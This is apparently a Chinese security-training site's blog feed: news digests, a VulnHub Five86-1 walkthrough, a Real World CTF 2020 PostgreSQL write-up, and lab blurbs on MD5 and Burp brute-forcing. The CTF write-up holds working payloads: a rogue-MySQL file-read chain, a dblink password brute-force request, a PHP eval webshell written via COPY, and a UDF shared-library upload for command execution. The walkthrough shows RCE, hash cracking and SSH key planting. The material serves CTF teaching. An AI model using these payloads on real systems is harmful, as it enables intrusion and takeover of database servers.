网络安全日报 2021年01月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、研究人员发现F5 BIG-IP系统中存在DoS漏洞影响版本14.x和15.x
https://securityaffairs.co/wordpress/113440/security/f5-big-ip-dos.html
2、Capcom披露在2020年11月的勒索攻击中数万个人信息数据被盗
https://www.securityweek.com/capcom-says-personal-data-thousands-more-stolen-ransomware-attack
3、研究人员发现Comtrol工业网关漏洞可创建后门
https://www.securityweek.com/vulnerabilities-can-allow-hackers-create-backdoors-comtrol-industrial-gateways
4、Spalax恶意软件活动针对哥伦比亚政府机构和公司
https://securityaffairs.co/wordpress/113429/hacking/operation-spalax-malware.html
5、思科解决了CMX软件中的严重漏洞
https://securityaffairs.co/wordpress/113395/security/cisco-high-severity-flaw-cmx.html
6、CISA发布警告:黑客绕过MFA访问云服务帐户
https://www.bleepingcomputer.com/news/security/cisa-hackers-bypassed-mfa-to-access-cloud-service-accounts/
7、安全厂商发布APT组织SideWinder分析报告
https://cybersecurity.att.com/blogs/labs-research/a-global-perspective-of-the-sidewinder-apt
8、Ursnif木马新变种攻击意大利用户
https://www.fortinet.com/blog/threat-research/new-variant-of-ursnif-continuously-targeting-italy
9、Windows 10中未修补的零日漏洞可破坏NTFS格式的硬盘
https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/
10、自动欺诈即服务Classiscam已经骗取了650万美元
https://threatpost.com/telegram-bots-classiscam-scam/163061/
Five86-1靶机渗透实战
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/mobile/actReg.html>>
靶机地址:http://www.vulnhub.com/entry/five86-1,417/
相关实验:https://www.yijinglab.com/expc.do?ec=ECIDdb58-4b9d-427b-b7b3-8382c7e0a7f5 (Node 1.0 是一个难度为中等的Boot2root/CTF挑战,靶场环境最初由 HackTheBox 创建,实验目的是获取两个flag)
技术点
opennetadmin v18.1.1RCE
searchsploit
github搜索exp
破解Linux中经过HASH加密的密码
crunch生成字典
john和hashcat破解密码
hash-identifier查看HASH类型
SSH免密登陆
公钥复制为authorized_keys
Linux查看当前用户权限可读文件和可执行命令
查看当前用户权限可读文件find / -type f -user www-data
可执行命令sudo -l
目标发现
nmap -sP 参数使用 ping 扫描局域网主机,目的地址为 192.168.56.5
nmap -sS -A -v 192.168.56.5 看一下详细的扫描结果 -sS 是半开放扫描,-A 是进行操作系统指纹和版本检测,-v 输出详细情况
可以看到开放了 22、80、10000 三个端口,并且 80 端口存在 robots.txt 和路径 /ona
漏洞发现与利用
访问192.168.56.5是个空白页面,然后去访问 /ona,可以看到是 opennetadmin 的管理页面,并且版本是 18.1.1
v18.1.1的opennetadmin是存在RCE漏洞的,在github找个exp打过去就可以,github.com/amriunix/ona-rce
或者是使用 searchsploit ,不过这里有个坑点,就是要对这个bash脚本进行转换格式,否则会报错,使用dos2unix 47691.sh这个命令,而且这里的shell不能转成TTY
下面的问题就是如何进行提权了,经过一番测试,发现这里无法执行的命令是没有回显的,并且不能执行cd命令,但是可以使用ls和cat命令
这里肯定是有权限控制的,可以使用find / -type f -user www-data命令查看这个用户可以读取的文件,除了/proc 就是/var/www/html/reports/.htaccess和/var/log/ona.log
读取var/www/html/reports/.htaccess可以找到AuthUserFile的路径/var/www/.htpasswd
读取这个文件如下,可以得到用户名douglas和HASH的密码$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1,给的提示是只包含aefhrt的十个字符
douglas:$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1 # To make things slightly less painful (a standard dictionary will likely fail), # use the following character set for this 10 character password: aefhrt
先用hash-identifier看一下是哪个HASH,结果 hash -type : [+] MD5(APR)
然后使用crunch生成对应的字典,命令格式crunch <min-len> <max-len> [charset string] [options],这里生成只包含aefhrt的10个字符,就可以使用如下命令crunch 10 10 aefhrt -o pass.txt,更多的介绍可以看https://www.freebuf.com/sectool/170817.html和https://blog.csdn.net/qq_42025840/article/details/81125584
最后就要用大名鼎鼎的hashcat去破解这个HASH,命令格式hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...,这里使用的命令为hashcat -m 1600 -a 0 -o res hash.txt pass.txt
-m是HASH类别,-a是攻击方式,-o是输出结果,更多的参数可以参考https://www.freebuf.com/sectool/164507.html。这里在kali里面运行一直报错,就转移到wsl2里面了,命令hashcat -m 1600 -a 0 -o res hash.txt pass.txt --force
最终密码为 fatherrrrr
或者这里也可以使用john来进行破解john --wordlist=pass.txt hash.txt,但是速度可能有丶问题
使用ssh连接ssh douglas@192.168.56.5
这里是个TTY,但还是存在权限控制,使用sudo -l看一下可以使用什么命令,结果是(jen) NOPASSWD: /bin/cp,这里就有点奇怪了,douglas可以用jen的身份运行cp命令
先去访问一下home目录,发现douglas和jen这两个用户,但是只能用jen的cp命令,且没有jen的密码
值得注意的是,如果jen用户下的/home/jen/.ssh/authorized_keys包含douglas的公钥,那就可以用douglas的id_rsa文件登陆jen的ssh,也即免密登陆jen的ssh。这里复制到/tmp目录下是因为jen没有权限访问douglas目录下的文件
cp .ssh/id_rsa.pub /tmp/authorized_keys chmod 777 /tmp/authorized_keys sudo -u jen /bin/cp /tmp/authorized_keys /home/jen/.ssh/
然后用ssh连接ssh -i id_rsa jen@127.0.0.1
成功登陆jen,看到提示mail,还是先执行echo $(find / -type f -user jen) > 1.txt 看一下,有一个/var/mail/jen的文件可以读取
或者这里直接输入mail的命令也可以看到
读取一下,其内容如下
关键词:change Moss's password、his password is now Fire!Fire!
接着ssh连接moss用户ssh moss@127.0.0.1
在当前目录发现了一个隐藏目录.games,访问后发现一个root权限的二进制文件upyourgame
运行之后就发现自己神奇的变成root用户辣
最后,flag在/root中,为8f3b38dd95eccf600593da4522251746
彩蛋时刻,其实在拿到douglas的密码之后就可以用虚拟机登陆,然后操作,这里是用的moss的账号密码,也是同样的效果
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
第四届上海第二工业大学网络攻防大赛圆满结束
2021年1月6日,第四届上海第二工业大学网络攻防大赛圆满结束。蚁景网安实验室为竞赛提供平台技术支持。我司本着“以赛促训”理念,与校方共同积极推动人才培养方案与模式的改革。
校方重视本次竞赛的开展,网安相关专业学生积极组队参与报名。
比赛采用线下攻防对抗的形式,比赛现场大屏展示比赛实时战况;各队成员积极协作,看实况,调战略;我们见证了同空间、同时间内的不同战略巅峰对决。
参赛队伍历经多个回合的激烈比拼,最终以下队伍名列前茅,获得殊荣。
用户名奖项全场消费由孙公子买单一等奖渣渣辉是最强的!二等奖魂紫队二等奖白给人二等奖sspu_xzl三等奖G1924三等奖惊鸿三等奖别打我三等奖繁三等奖反余弦三等奖人类一败涂地三等奖恭喜上述获奖的同学,也希望所有参赛的同学能够从这次比赛中总结出自己的优势和短板,在之后的实践中变得强大。
MD5加解密与暴力破解
本实验围绕MD5加解密软件,通过对软件操作实现基本的字符加密和解密,介绍了MD5暴力破解的方法,通过本实验的学习,你能够掌握MD5破解的方法、过程和原理,增强对MD5算法安全性的认识。
实验简介
实验所属系列:网络安全实践
实验对象:本科/专科信息安全专业
相关课程及专业:计算机基础,Linux基础
实验类别:实践实验类
预备知识
本实验要求实验者具备如下的相关知识。
hash,一般翻译做“散列”,也有直接音译为"哈希",就是把任意长度的输入通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,而不可能从散列来唯一 确定输入值。简单说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。MD5和SHA1可以说是目前应用最广泛的Hash算法,而它们都是以MD4为基础设计的。
1、MD4
MD4(RFC 1320)是MIT的Ronald L. Rivest在1990年设计的,MD是Message Digest的缩写。它适用在32位字长的处理器上用高速软件实现--它是基于 32 位操作数的位操作来实现的。
2、MD5
MD5(RFC 1321)Rivest于1991年对MD4的改进版本。它对输入仍以512位分组,其输出是4个32位字的级联,与MD4相同。MD5比MD4来得复杂并且速度较之要慢一点,但更安全,在抗分析和抗差分方面表现更好。
下面简单介绍一下MD5的安全性。
Rivest猜想作为128比特长的杂凑值来说,MD5的强度达到了最大,比如找出具有相同杂凑值的两个消息需执行O(264)次运算,而寻找具有给定杂凑值的一个消息需要执行O(2128)次运算。
然而,2004年山东大学的王小云等成功找出了MD5的碰撞,发生碰撞的消息有两个1024 比特长的串M、Ni构成,设消息M||Ni的碰撞时M’和Ni’,在IBMP690上找M和M’花费时间大约一小时,找到M和M’后,则只需15秒至5分钟就可找出Ni和Ni’。
2007年,Marc Stevens,Arjen K. Lenstra和Benne de Weger进一步指出通过伪造软件签名,可重复性攻击MD5算法。研究者使用前缀碰撞法(chosen-prefix collision),使程序前端包含恶意程序,利用后面的空间添上垃圾代码凑出同样的MD5 Hash值。
2008年,荷兰埃因霍芬技术大学科学家成功把2个可执行文件进行了MD5碰撞,使得这两个运行结果不同的程序被计算出同一个MD5。2008年12月一组科研人员通过MD5碰撞成功生成了伪造的SSL证书,这使得在https协议中服务器可以伪造一些根CA的签名。
现在随着硬件技术和计算机处理能力的快速上升,MD5的暴力破解也越来越快,在安全要求高的场合一般不会使用MD5
实验目的
了解MD5破解原理,熟练使用MD5破解工具。
实验环境
Windows操作系统
实验地址:
https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015081317154100001https://www.yijinglab.com/expc.do?ec=c1385a78-f8dc-4259-9a84-bcbad7ada107
网络安全日报 2021年01月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、SolarLeaks网站出售SolarWinds攻击被盗数据
https://www.bleepingcomputer.com/news/security/solarleaks-site-claims-to-sell-data-stolen-in-solarwinds-attacks/
2、研究人员发现针对巴基斯坦用户的间谍软件
https://news.sophos.com/en-us/2021/01/12/new-android-spyware-targets-users-in-pakistan/
3、思科修复了与67个CVE相关的高危漏洞
https://threatpost.com/cisco-flaw-cmx-software-retailers/163027/
4、研究人员在暗网中发现一种名为Rogue的新型移动RAT
https://securityaffairs.co/wordpress/113369/malware/rogue-android-rat-darkweb.html
5、Incaseformat蠕虫病毒再次发作
https://www.huorong.cn/info/1610535542569.html
6、新西兰中央银行遭黑客入侵是利用了Accellion FTA漏洞
https://securityaffairs.co/wordpress/113374/hacking/new-zealand-central-bank-attack-accellion.html
7、Linux内核开发者讨论停止支持部分旧 CPU
https://www.solidot.org/story?sid=66633
8、Mimecast披露可能与SolarWinds Hack有关的证书事件
https://www.securityweek.com/mimecast-discloses-certificate-incident-possibly-related-solarwinds-hack
9、微软发布支持Linux的Microsoft Defender for Endpoint
https://www.securityweek.com/microsoft-defender-endpoint-linux-goes-live
10、黑客泄露从EMA窃取的COVID-19疫苗数据
https://www.securityweek.com/hackers-publish-covid-19-vaccine-data-stolen-eu-medicines-agency
网络安全日报 2021年01月13日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、SAP修补严重的代码注入和DoS漏洞
https://www.securityweek.com/sap-patches-serious-code-injection-dos-vulnerabilities
2、微软星期二补丁修复83个漏洞
https://www.securityweek.com/microsoft-patch-tuesday-83-vulnerabilities-10-critical-1-actively-exploited
3、德国警方捣毁了世界最大的暗网市场DarkMarket
https://securityaffairs.co/wordpress/113332/deep-web/dark-web-darkmarket-seized.html
4、EMA:某些辉瑞/ BioNTech COVID-19疫苗数据已在线泄露
https://securityaffairs.co/wordpress/113326/data-breach/ema-data-breach.html
5、Adobe修复了7个严重漏洞和阻止Flash内容加载
https://threatpost.com/adobe-critical-flaws-flash-player/162958/
6、SolarWinds供应链攻击中涉及的第三种恶意软件Sunspot
https://securityaffairs.co/wordpress/113316/malware/sunspot-solarwinds-attack.html
7、研究人员发现针对哥伦比亚的Spalax行动
https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/
8、研究人员发现利用Windows和Android零日漏洞的复杂黑客活动
https://securityaffairs.co/wordpress/113342/hacking/project-zero-watering-hole-attack.html
9、英特尔在芯片级增加了勒索软件检测功能
https://www.zdnet.com/article/ces-2021-intel-adds-ransomware-detection-capabilities-at-the-silicon-level
10、被盗Mimecast证书在Microsoft电子邮件供应链攻击中被利用
https://threatpost.com/mimecast-certificate-microsoft-supply-chain-attack/162965/
Real World CTF 2020 DBaaSadge Writeup
昨天刚打的RWCTF比赛,觉得题目是非常不错的,至少这个环境下,postgre是大部分Web选手的弱项,圈内也没有什么自动化测试工具,因此写这篇WP还是有必要的。
由于大部分关键的技术点是我队里的亲姐们——鱼先做了,所以这里先贴一下人家的博客里的wp(鱼哥看到记得来拍我)
https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426
这道题学到的不止有postgre的知识,还有burpsuite BApp,以及md5crack的部分,这里还是给各位同学做个分析总结吧。
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014112610341500001 (通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。)
复现环境下载
链接:https://pan.baidu.com/s/1TKQ5UYh55KcYQVQKG-CAwA 提取码:kwck 复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享
源码分析
打开题目直接显示源码
<?php error_reporting(0); if(!$sql=(string)$_GET["sql"]){ show_source(__FILE__); die(); } header('Content-Type: text/plain'); if(strlen($sql)>100){ die('That query is too long ;_;'); } if(!pg_pconnect('dbname=postgres user=realuser')){ die('DB gone ;_;'); } if($query = pg_query($sql)){ print_r(pg_fe
这个源码不难理解,主要就是你通过get输入一个sql参数,然后他会把你输入的直接作为pg_query的参数,然后返回结果,如果运行正确就打印结果,错误就显示颜文字。其中sql输入限制了100个字节。
第一步我们必须自己搭建一个环境,这样可以把报错打出来,方便调试
进入postgre交互式命令行的方式是
psql
如果你在这步就报错了,请切换到postgres用户再做
pg_query的报错函数为:
print_r(pg_fetch_all($query));
因此我们在最后一个else里面加上这个函数
这样只要我们输入错误,显示的就是具体语句查询时候的报错。
接下来我们首先看看这个postgre的版本和用户
这一块很重要,虽然dockerfile里面有,但是如果以后其他题目没有给docker的时候,可以通过这两条语句来查询出题目postgre的版本
select user; select version();
根据docker我们可以知道,这个realuser不是一个superuser,如果是superuser的话,网络上很多方式都可以直接getshell了。而nosuperuser在目前是无法getshell的,所以目标十分明确,就是要提权,然后正常的执行getshell命令。
当时查完,我们队伍就感觉可能是不是10.15之前修补的那个cve的绕过,但是研究发现那个cve是个pwn,而且题目明确表示这个是个web题目,所以放弃走这条路
接着我们在题目给的dockerfile里面看到他安装了两个扩展
在文档里面,CREATE EXTENSION表示的意思是安装postgre扩展
其中postgresql中dblink扩展的功能是可以在一个数据库中操作另外一个远程数据库
select dblink_connect('连接句柄名', 'host=XXX.XXX.XXX.XXX port=XX dbname=postgres user=myname password=mypassword');
而mysql_fdw扩展则是用来在Postgre中快速访问MySQL中的数据,也就是给Postgre提供一个外界Mysql的访问方式
于是我们亲爱的鱼就想到了rouge-mysql
这个考点在CTF中比较常见,通过让题目连接自己的mysql恶意服务器来进行任意文件读取(我怎么就没想到)
从这里下载到脚本
https://github.com/allyshka/Rogue-MySql-Server
有两个版本,py版本和php版本,这里推荐php版本
py版本为什么不好原因有3:
1. 后台监听且不回显 (你说你监听就监听吧,还弄了个后台监听,运行完没有回显,搞半天以为我运行出错) 2. 结果在同目录下的一个mysql.log文件里,差点没找到。 3. 每次读取还得自己改一下源码里面的文件名
php版本就很人性,动态输入文件名,然后直接回显在屏幕上。
postgre的mysql_fdw使用方法可以参考这个网站,上面有实际例子:
https://blog.csdn.net/bingluo8787/article/details/100958098
我们不用创建那么大的表格,随便填一个id int就行
CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306'); CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root'); CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test'); select * from test;
最后一个drop是因为如果前后两次使用相同的Servername,他就会一直报servername存在,类似mysql里面的databases会一直报存在一个样,因此我们每次运行完都drop掉,省的一直改
最后读取的poc如下:
import requests import hashlib import random import uuid url ="http://54.219.197.26:60080/?sql=" #填你的IP ip="***" port="***" server_name="aaaa" dbname=server_name Table_name=server_name poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');" #poc2里填写你
在我们服务器上php mysql.php进行监听,然后运行poc,远程读取到服务器文件
那么问题来了,题目给了dockerfile,读取也没用啊,没有啥文件是不知道的。
这个时候我和鱼哥做题水平分水岭就出来了,确实不如人家厉害
我的想法
寻找conf文件配置中的漏洞,看能不能免密码登录superuser的账户,在UNIX平台中安装PostgreSQL之后,PostgreSQL会在UNIX系统中创建一个名为"postgres"当用户。PostgreSQL的默认用户名和数据库也是"postgres",而且这个是个superuser
但是我们出题人很贴心的在每次docker重启时都将postgres的密码改为了5位随机字符串。
但是通过网络查阅我了解到,在pg_hba.conf中如果把host配置为trust是可以进行免密登录的,然后在docker里面遍历搜索pg_hba.conf这个文件的位置,发现在/etc/postgresql/10/main下,读取以后:
这个很明显是不能够登录的,到了这里我就开始想爆破密码了
爆破的poc为
http://ip/?sql=SELECT%20dblink_connect(%27hostaddr=127.0.0.1%20port=5432%20dbname=postgres%20%20user=postgres%20password=aaaaa%27);
如果成功连接那么网页会回显
Array ( [0] => Array ( [dblink_connect] => OK ) )
错误则是回显颜文字
爆破的时候用的是burpsuite的Turbo intruder
Turbo 介绍
和普通的intruder不同,这个速度差不多是原来旧版本的10倍
我相信很多人还是在使用intruder(还是换了吧,那个确实慢)
每一个burp都自带一个Entender标签,里面都有一个BAppStore,是有很多插件可以安装的,之后再出一篇专门讲这些插件的吧,这次用的Turbo也在这里面,直接点击安装就好
当然,由于各种原因,很多人的版本直接点击install是长时间没有响应的,因为连不上国外服务器,所以这里我再给大家一个下载插件安装包的网址
https://portswigger.net/bappstore
这个网址可以下载到列表里面最新的插件,所有安装包都是.bapp结尾,然后点击刚才burp页面里面的Manual install进行附件安装也可以
主要用法如下,截取到包以后,右键有一个send to Turbo intruder按钮,比较隐蔽,注意看一下就好
然后爆破的时候需要在框里面填一下py的功能函数
如果对单个密码进爆破,则使用网络上爆破验证码的方式即可,把下面的复制到框内(脚本都是现成的,网络上一搜一堆):
from itertools import product def brute_veify_code(target, engine, length): pattern = '1234567890abcdefghijklmnopqrstuvwxyz' for i in list(product(pattern, repeat=length)): code = ''.join(i) engine.queue(target.req, code) def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.e
然后在url里面需要爆破的位置用%s表示
这个速度是真的很快的,一秒大概4000多个
如果是简单的爆破,他要快很多,但是事实证明,大型爆破时,个人电脑撑不住。
然后这题6千万个密码,就把我电脑内存和带宽跑炸了......
鱼哥的做法
怎么说人家就是很聪明,直接想到类比mysql,mysql里面的密码存储方式是落地的,就在data_directory变量的目录位置,那么同样的,进到docker里面通过查询一下系统变量,就可以看到postgre的密码存放位置
这里说一下postgre的交互式命令行
进入postgre的交互式命令行的命令为
psql
你也可以用
psql -c "commond"
来直接执行命令,和mysql一样
但是如果你是root用户,且没有配置过,是不可以在root下直接进入psql的,会出现如下错误:
所以我们要切换到postgres用户
然后我们查询系统变量
这里讲一下psql的退出方式,你要觉得麻烦,直接ctrl+d强制退出就好
然后我们进入目录下,发现一堆文件
如何寻找密码文件呢,前面看了conf文件为md5加密
这里教大家一个方便查找文件内容的命令egrep
egrep -r "内容" 目录
其中内容部分支持正则表达式
最后发现在global/1260里面
提供一个爆破md5的工具,这个是真的很快:
http://c3rb3r.openwall.net/mdcrack
爆破方式参考
http://www.91ri.org/1285.html
很快啊,他就直接出来了,前面5位就是密码,后面的是用户名
还记得dblink扩展的作用吗,用来连接postgre数据库。
然后我们就可以用dblink直接登录superuser了
所以剩下的问题就是用superuser执行命令的问题了
只要能够执行下面这句话,就可以把木马写入到目录里面,如果web目录不是777,那么写一个udf到/tmp也可以。
SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $<?=@eval($_REQUEST[1]);?>$) to $/var/www/html/1.php$;') as t1(record text);
但是问题又来了,他每次连接都是一个新的,无法保持上一次连接状态,因为不是命令行交互,所以我们必须要在一行里面打完所有poc,但是他限制了100个字节,这个很头疼,我和鱼哥都开始想着怎么绕过这个长度限制。
然后还是一个队内做题的分水岭,高手鱼和普通ctfer小s的区别。
我的想法
由于之前写过mysql 的存储过程,很清楚只要是数据库,都可以把一个复杂的语句经过编码然后存入到一个存储过程里面,然后下一次调用,这样就可以避免两次连接不保持状态这个问题。
没有概念的同学请参考强网杯线上随便注正解,或者参考我前一篇发在蚁景的文章再学一下。
于是我实验了postgre的存储过程,也很快,因为这个确实熟悉
只要发送如图上两次请求就可以调用d函数中的select语句
但是我还是想简单了,因为存储过程在命令行中是可以分开写的,就算是两次连接一样可以写完,但是url里面他的回车符传入到postgre后端不识别,因此他不能分开写,所以还是绕不过去100个字符的限制。因此这个方法不通。
但是不是说这个方法没用,如果这里考察的不是postgre长度限制而是敏感字符过滤,那么肯定是要用存储过程的。(最后的尊严TT)
鱼哥的想法
鱼哥想到的是子查询,通过将poc语句写入到自己mysql服务器的一个表里面,然后在利用mysql_fdw扩展远程连接mysql服务器的时候select出来。
可以将 SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $<?=@eval($_REQUEST[1]);?>$) to $/var/www/html/1.php$;') as t1(record text); 变形为 SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text);
第一个select做连接,第二个做执行命令。
调整poc如下,调整了子查询的表名为b和列名为s,m,然后换了servername为a66_server,t9为子查询别名:
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');" poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');" poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');" po
先在自己服务器建立一个b数据库,然后建立一个b表,里面是s字段和m字段,然后两个字段分别存放两个poc,一个用来连接,一个用来执行
坑点又来了!
这个地方一定一定不能因为想弄长一点,就用longtext或者其他text类型来声明这两个字段,因为当postgre从mysql查询的时候会报如下错误:
具体原因尚未分析。
varchar的最长长度是65535,但是由于每个人电脑的不同,可能最大长度设置也不同,我这里最多只能设置45000。
要写入mysql的poc
drop table b; create table b(s varchar(20000),m varchar(44000)); insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=*****','COPY (select $<?=@eval($_REQUEST[3]);?>$) to $/tmp/smity.php$;');
弄好以后差不多如下
然后poc:
import requests import random import uuid url ="http://IP/?sql=" poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');" poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');" poc3="CREATE FOREIGN TABLE a66(s text,m
然后对面的/tmp目录就写了个文件
这里题目没有777权限给/var/www/html。所以我们要考虑/tmp下写udf来执行命令
这个是固定的用法了
参考
https://blog.csdn.net/qq_33020901/article/details/79032774
这篇文章请直接看最后一个部分,因为前面利用环境编译的部分我觉得太过麻烦,直接用github上的源码编译即可
大致过程如下:
按照题目postgre的大版本编一个符合版本的.so
将.so文件分片,写入到sql语句里,就和之前写php文件一样,再写到自己的mysql数据库里
发送poc让对面服务器来我们这里查询出来语句并且执行
udf.so编译过程
先去这个网页下载编译程序
https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys
然后进入题目docker
先安装一个postgre-server-dev,不然很多头文件没有。
apt install postgresql-server-dev-all
然后在下载的Makefile里面,加一段10版本的编译,直接复制下面的,然后修改一下第一句的目录,如果你的目录不对,就去/usr/里面看一下到底是多少,只需要找到/usr里面的postgre目录即可,不需要管server存不存在,他会自动创建的。
然后将下载的复制到docker里面
make 10
就编译好了,在同目录下就会发现生成了一个lib_postgresqludf_sys.so
报错不用管他
这个就是我们需要的udf.so
然后是分片
因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节,会导致文件破坏或者上传失败
用python脚本去分割udf.so文件
Python
#~/usr/bin/env python 2.7 #-*- coding:utf-8 -*- import sys if __name__ == "__main__": if len(sys.argv) != 2: print "Usage:python " + sys.argv[0] + "inputfile" sys.exit() fileobj = open(sys.argv[1],'rb') i = 0 for b in fileobj.read(): sys.stdout.write(r'{:02x}'.format(ord(b))) i = i + 1 if i % 2048 =
会出来6个大块,分为6条语句,和参考网页里的一样
https://blog.csdn.net/qq_33020901/article/details/79032774 SELECT lo_create(9023); insert into pg_largeobject values (9023, 0, decode('...'); insert into pg_largeobject values (9023, 1, decode('...'); insert into pg_largeobject values (9023, 2, decode('...'); insert into pg_largeobject values (9023,
实验证明,设置varchar(44000)是绝对够写入mysql数据库的。不用担心长度问题
然后删除原来的表,重新添加
drop table b; create table b(s varchar(20000),m varchar(44000)); insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"SELECT lo_create(9023);insert into......
然后运行刚才的poc,写入/tmp/testeval.so
写入so以后,我们需要执行以下sql语句来执行命令
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; select sys_eval('id');
原来的参考网站有一条
drop function sys_eval;
应该是写错了,加了这个不能运行
再次清空我们服务器上的mysql数据表,重新建立
drop table b; create table b(s varchar(20000),m varchar(44000)); insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/rea
然后再次运行poc,得到flag
总结
队内这次打web的高手挺多,还有其他做法,鱼哥也发他博客了,感兴趣可以看看
https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426
总的来说。这次的rw web题目是很好的,其中java和postgre都是目前ctf环境的弱项,一考一个准,还是得有空补一补php以外的东西。
Web渗透实战:使用burp进行暴力破解
通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014112610341500001
实验简介
实验所属系列:web安全
实验对象:本科/专科信息安全专业
相关课程及专业:网络安全,计算机网络
实验类别:实践实验类
1.Burp的工作模式:
在没有burp之前,客户端使用浏览器直接与服务器进行通信。有了burp之后,burp在客户端与服务器之间充当代理。这样,浏览器发送给服务器的请求就会被burp进行捕获,而burp和wireshark这种审计类工具相比,其强大之处在于不仅可以做审计工作,更可以对数据包进行修改并发送出去。使用了burp的结构如下图所示。
2.暴力破解:
一般使用暴力破解都有两种原因:
1.对这个漏洞的测试,人是可以完成的,即可穷举。
2.人可以完成,但是代价太大,或者太浪费时间。
正是出于这样的问题,一些软件的出现帮助人完成了这些测试,这就是暴力破解的真正好处。在业界曾经有这样的一种看法,对于暴力破解的使用都不屑一顾,因为大家觉得技术含量太低。但是,从实际的情况来看,因为用户使用弱口令情况太普遍,导致很多漏洞使用暴力破解都可以轻松拿下。
暴力破解,最有价值的地方是在对字典的构造上,这是一门技术,需要长期的经验积累。
实验目的
通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。在此郑重声明,本教程只做教学目的,严禁使用本教程对线上网站进行破坏攻击。
实验环境
服务器:windows xp sp3 ip地址:10.1.1.163
测试者:windows xp sp3 ip地址随机
网络安全日报 2021年01月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、联合国环境规划署泄露了100,000条员工记录
https://www.securityweek.com/united-nations-environment-programme-exposed-100000-employee-records
2、卡巴斯基将SolarWinds攻击代码与俄罗斯知名APT集团关联
https://www.securityweek.com/malware-used-solarwinds-attack-linked-backdoor-attributed-turla-cyberspies
3、SocialArks泄露来自Facebook,Instagram和LinkedIn的3.18亿条记录
https://threatpost.com/social-profiles-leaked-chinese-data-scrapers/162936/
4、Typeform修复了Zendesk Sell form数据劫持漏洞
https://www.bleepingcomputer.com/news/security/typeform-fixes-zendesk-sell-form-data-hijacking-vulnerability
5、Bitdefender发布了Darkside勒索软件免费解密器
https://www.zdnet.com/article/free-decrypter-released-for-victims-of-darkside-ransomware/
6、70TB Parler用户数据遭泄露
https://cybernews.com/news/70tb-of-parler-users-messages-videos-and-posts-leaked-by-security-researchers
7、Ubiquiti Networks披露数据泄露
